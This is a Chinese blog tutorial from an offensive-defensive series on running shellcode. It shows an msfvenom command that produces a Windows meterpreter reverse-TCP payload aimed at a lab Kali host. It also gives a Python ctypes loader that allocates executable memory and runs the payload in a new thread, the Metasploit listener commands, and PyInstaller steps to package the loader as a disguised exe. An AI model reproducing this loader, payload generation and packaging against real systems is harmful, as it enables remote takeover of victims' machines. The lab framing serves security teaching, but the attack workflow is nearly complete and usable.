首页 > 系统相关 >【攻防技术系列】shellcode初始

【攻防技术系列】shellcode初始

时间:2024-07-15 15:32:25浏览次数:8  
标签:攻防 exe python shellcode ctypes x00 buf 初始

虚拟机环境搭建

【Kali】: 192.168.10.131
【win】: 192.168.10.1

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。

但是想要更充分理解什么是shellcode,我们得先了解下可执行程序和shellcode都是怎么运行的。
简单来说,平时在电脑上运行的程序一般是exe等可执行程序,它有图标、版本号可能还有图片等等数据,在程序开发的时候通常把这些称为资源段,除此之外exe程序内部还有数据段代码段,因为exe是有标准的文件结构的,程序真正执行的功能就是其中的代码段。
但shellcode没有完整的文件结构,它相当于是exe文件里面的代码段部分,因此不论将shellcode代码保存成什么文件格式(1.exe/2.jpg等)双击都是无法运行的,因为它不是操作系统规定的任何一种文件格式。

因此要运行shellcode需要我们自己写程序把它加载到指定的内存中去运行,这个程序通常就是shellcode加载器

一、shellcode入门实验

演示一下如何生成python语言的shellcode以及如何通过msf上线获得shell,并且也介绍下如何将python程序打包成exe可执行程序。

1.1 msfvemon生成python shellcode代码

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.131 LPORT=4444 -f py -o shellcode_64.py

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
......

buf += b"\xf0\xb5\xa2\x56\xff\xd5"

在python语法中,以 b 开头的字符串表示字节串,它由一系列字节(bytes)组成。
字节串在处理二进制数据或特定编码的数据时很有用,例如处理网络数据、加密算法等。

在上面的shellcode payload中,\x 表示后面跟着的两个十六进制数字表示一个字节。

1.2 编写一个python的shellcode加载器

# -*- coding: utf-8 -*-

import ctypes

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
buf += b"省略其他部分"
buf += b"\xf0\xb5\xa2\x56\xff\xd5"

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

Tips:ctypes是python内置库,使python可以直接调用操作系统内核API接口

1.3 msf启动一个监听器,靶机运行上面shellcode

【kali】,配置如下:

msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.131
set LPORT 4444
exploit


【win(靶机)】,配置如下:

靶机上运行python shellcode加载器程序(需要自己手动加工一下):

python shellcode.py

【kali】端

靶机运行脚本之后,kali立马收到了来自靶机的会话:

中间出了一点问题,经排查发现payload有问题。

1.4 将shellcode及加载器打包成exe程序(伪装)

PyInstaller是一个在Windows、GNU/Linux、macOS等平台下将Python程序冻结(打包)为独立可执行文件的工具, 用于在未安装Python的平台上执行Python编写的应用程序。

# 安装PyInstaller模块
pip install PyInstaller
# 进行pyinstaller打包
pyinstaller -F -w shellcode.py

标签:攻防,exe,python,shellcode,ctypes,x00,buf,初始
From: https://www.cnblogs.com/o-O-oO/p/18302934

相关文章

  • 【攻防实操系列】phpStudy日志探索
    #phpStudy#应急响应#靶场搭建工具phpStudy一、攻击者的shell密码在桌面看到phpStudy,右键选择“打开文件所在的位置”,获得phpStudy路径:C:\phpStudy_pro。使用D盾在phpStudy路径下查找webshell,获得webshell路径:C:\phpStudy_pro\WWW\content\plugins\tips\shell.php。打......
  • 代码初始化块
    代码初始化块类实例化的时候执行代码初始化块;实际上,代码初始化块是放在构造方法中执行的,只不过比较靠前;代码初始化块里的执行顺序是从前到后的。classA{A(){System.out.println("父类构造方法");}}publicclassBextendsA{B(){Sy......
  • Datawhale AI 夏令营 从零入门CV图像竞赛(Deepfake攻防)
    DatawhaleAI夏令营从零入门CV图像竞赛(Deepfake攻防)Step0:注册Kaggle如果有Kaggle账户,直接登录即可,无需处理此步骤使用Edge浏览器安装HeaderEditor插件(点击即可跳转)链接:https://microsoftedge.microsoft.com/addons/detail/header-editor/afopnekiinpekooejpchnkg......
  • c++初始化列表和构造函数初始化的区别
    在C++中,初始化列表和构造函数初始化是两种不同的方法用于初始化类的成员变量。初始化列表(InitializationList):初始化列表是在构造函数的参数列表后面使用冒号(:),然后跟随着每个成员变量的初始化方式。通过初始化列表,可以在对象构造时直接为成员变量赋值,而不是在构造函数体内......
  • 构造函数初始化列表 笔记
    什么意思:初始化类成员的一种方法什么时候用:编写一个类并向该类中添加成员时要用某种方式对这些成员进行初始化代码示例:classEntity{private:std::stringm_name;intm_score;public:Entity():m_name("UnKnown"),m_score(0)//成员初始化列表{}}注......
  • Java代码初始化块
    目录实例域代码块静态域代码块初始化代码块分为静态域代码块和实例域代码块,静态域代码块在类第一次被加载时被执行,实例域代码块在创建对象时被执行,一个类中可以有多个代码块。 实例域代码块使用方法可以有输出语句可以对类的属性、类的声明进行初始化操作对集......
  • 【C++11新特性】在定义静态成员变量的同时进行初始化
    //test.hclasstest{public:test()=delete;~test()=delete;private:staticconstexprlonglongPOLY_64_REV=0x95AC9329AC4BC9B5L;staticconstexprintBITS_PER_BYTE=8;staticconstexprintCRC_TABLE_LENGTH=256;staticlon......
  • 算法金 | DL 骚操作扫盲,神经网络设计与选择、参数初始化与优化、学习率调整与正则化、
    大侠幸会,在下全网同名「算法金」0基础转AI上岸,多个算法赛Top「日更万日,让更多人享受智能乐趣」今日216/10000抱个拳,送个礼神经网络设计与选择参数初始化与优化学习率调整与正则化数据预处理与标准化训练过程与监控特定模型技巧其他训练技巧1.神经网络设计......
  • .net 6及以上版本 WebAPI 初始化项目介绍
    从ZR.Admin里面摘出一部分作为参考 1.Program.cs publicclassProgram{publicstaticvoidMain(string[]args){varbuilder=WebApplication.CreateBuilder(args);//Addservicestothecontainer.......
  • 【攻防世界】BadProgrammer
    BadProgrammer题目来源攻防世界NO.GFSJ0986题目描述打开网址页面如下,没有什么有用信息用dirsearch扫一下目录,发现/static../(用御剑扫不出来)其实这是一个Nginx配置错误的目录遍历漏洞,用AWVS也可以扫出来题解访问/static../查看app.js,返回以下代码constexpress=......